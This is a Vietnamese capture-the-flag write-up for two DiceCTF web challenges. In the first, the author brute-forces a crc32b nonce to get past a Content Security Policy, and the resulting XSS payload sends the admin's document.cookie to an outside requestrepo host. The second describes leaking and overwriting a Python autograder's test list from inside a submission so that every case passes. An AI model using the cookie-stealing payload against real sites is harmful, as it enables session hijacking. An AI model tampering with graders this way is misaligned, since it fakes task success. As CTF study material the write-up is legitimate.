Mở đầu bài này chúng ta được cho biết flag nằm ở cookie admin, lỗ hổng mình biết chắc chắn là XSS
Quan trọng làm sao để inject được js chạy ở đây mới quan trọng, ở đây mình nhận ra source có đoạn /?source
Chúng ta sẽ truy cập vào source xem có gì:
<?php//Nếu có source thì highlight file ra và dừng if (isset($_GET["source"])) highlight_file(__FILE__)&&die();// Set default $name là world $name ="world";//Nếu có $name và $name là chuỗi và độ dài của biến $name không quá 128 ký tự thì $name là chuỗi vừa được nhậpif (isset($_GET["name"])&&is_string($_GET["name"])&&strlen($_GET["name"])<128) { $name = $_GET["name"]; }//$nonce lúc này sẽ được encode crc32b từ biến $name $nonce =hash("crc32b", $name);//Set header có CSP:.....header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");?><!DOCTYPE html><html><head><title>recursive-csp</title></head><body><h1>Hello,<?php echo $name ?>!</h1><h3>Enter your name:</h3><form method="GET"><input type="text" placeholder="name" name="name"/><input type="submit"/></form><!--/?source --></body></html>
Mình đã phân tích đoạn code trên bằng những dòng comment, ở đây chúng ta sẽ lưu ý tới CSP
CSP là một lớp bảo mật được thêm vào mục đích để phát hiện và ngăn chặn một số loại tấn công thường gặp, bao gồm cả cuộc tấn công XSS (Cross Site Scripting) và tấn công data injection.
Ở đây có một dòng ở CSP script-src 'nonce-$nonce' 'unsafe-inline';
script-src: Chỉ định nguồn (nơi) load các tài nguyên javascript
unsafe-inline: Cho phép sử dụng tài nguyên nội tuyến.
Mình có search thì chỗ unsafe-inline thì nếu inject xss vào nó vẫn hoạt động nhưng mấu chốt là crc32b nó được mã hóa với $name mình đưa vào ý là payload sẽ kiểu như này:
<scriptnonce="abc123">alert(1);</script>
Khi đó crc32b nó sẽ mã hóa payload trên thành một none khác và check xem nó có khớp nhau hay không? Nếu không khớp nhau thì đoạn payload trên không thể hoạt động và ngược lại.
Sau một lúc suy nghĩa mình thì làm cách nào đó để đoạn payload có nonce = hash("crc32b", "payload")
Tool brute force sẽ như này:
<?php$nonce_int =0;while (true) {//crc32b có giá trị từ 0 tới (2**32)-1if ($nonce_int >2**32) {echo"Không có giá trị nào khớp";break; }/*Hash giá trị crc32b có tất cả 8 ký tự, ở đây chúng ta sẽ chuyển thập lục sang hệ 16 sau đó nếu k đủ 8 ký tự chúng ta sẽ pad thêm số 0 vào sau */ $nonce_guess =str_pad(dechex($nonce_int),8,"0"); $payload ="<script nonce='$nonce_guess'>document.location='http://wfzlwi8c.requestrepo.com?'+document.cookie</script>"; $nonce =hash("crc32b", $payload);if ($nonce_guess === $nonce) {echo $nonce_guess ." ". $nonce;echo $payload;break; } $nonce_int +=1;}?>//b670f250 : b670f250<script nonce='b670f250'>document.location='http://wfzlwi8c.requestrepo.com?'+document.cookie</script>
Flag=diceCTF{h0pe_that_d1dnt_take_too_l0ng}
web/scorescope
Đây là một bài mình thấy khá dị, khi vào trang web chúng ta sẽ có một giao diện như này:
Đây là trang web giống với các trang web yêu cầu chúng ta submit bài lên để check, nhiệm vụ chúng ta sẽ phải vượt qua hết tất cả các test case
Code của template.py sẽ như sau:
# DICE 1001# Homework 3## @author [full name]# @student_id [student id]## Collaborators:# - [list collaborators here]## Resources:# - [list resources consulted]defadd(a,b):''' Return the sum of a and b. Parameters: a (int): The first number to add. b (int): The second number to add. Returns: int: The sum of a and b. '''######## YOUR CODE ########return a+b###########################deflongest(words):''' Return the longest word in a list of words. When there are multiple words of the same length, return the first. Parameters: words (list): A list of words. Returns: str: The longest word in the list. '''######## YOUR CODE ########raiseNotImplementedError###########################defcommon(a,b):''' Return the longest common subsequence of two strings. Parameters: a (str): The first string. b (str): The second string. Returns: str: The longest common subsequence of a and b. '''######## YOUR CODE ########raiseNotImplementedError###########################deffavorite():''' Return your favorite number. Must be the same as my favorite number. Returns: int: Your favorite number. '''######## YOUR CODE ########raiseNotImplementedError###########################deffactor(n):''' Given an integer, find two integers whose product is n. Parameters: n (int): The number to factor. Returns: Tuple[int, int]: Two satisfying integers. '''######## YOUR CODE ########raiseNotImplementedError###########################defpreimage(hash):''' Given a sha256 hash, find a preimage (bytes). Parameters: hash (str): The sha256 hash of a string in hex. Returns: bytes: A preimage of the hash. '''######## YOUR CODE ########raiseNotImplementedError###########################defmagic():''' Guess the random number I am thinking of. Returns: int: Your guess. '''######## YOUR CODE ########raiseNotImplementedError###########################
Oke khá nhiều yêu cầu để chúng ta giải ra, file trên có một vài case gần như không thể solve.
Chúng ta sẽ upload file xem thử như nào:
Upload template.py lên không sửa thì báo 22 cases đều không thể pass.
Mình sẽ chỉnh lại case đầu tiên với sum của a+b:
Nếu chúng ta thử inject một đoạn python (Kỹ thuật PyJail)
__import__.('os').system('ls')
Nhưng mà không được, nó cấm
Ở đây nếu thế chúng ta sẽ xem trong __main__ có gì bằng cách raise ra Exception của vars(__main__)
Vì chúng ta không thể print ra được nên chỉ có cách vứt exception ra ngoài bằng kiểu này để xem nó có thông tin gì có thể khai thác.
Ở đây chúng ta chú ý tới mảng test nó có 22 trường hợp giống như trên web vậy chúng ta sẽ làm cách nào đó overwrite nó đi thì chúng ta có thể pass tất cả mọi case:
Một lúc suy nghĩ nếu cho tất cả bằng true thì sao, mình nghĩ nó sẽ được nhưng mình nhận ra test cases lúc này nó không hiện các cases sai nữa mà chỉ hiển thị 1/22 cases đã passed vậy *22 lên thử xem sao:
Vậy là exploit thành công// Flag: dice{still_more_secure_than_gradescope}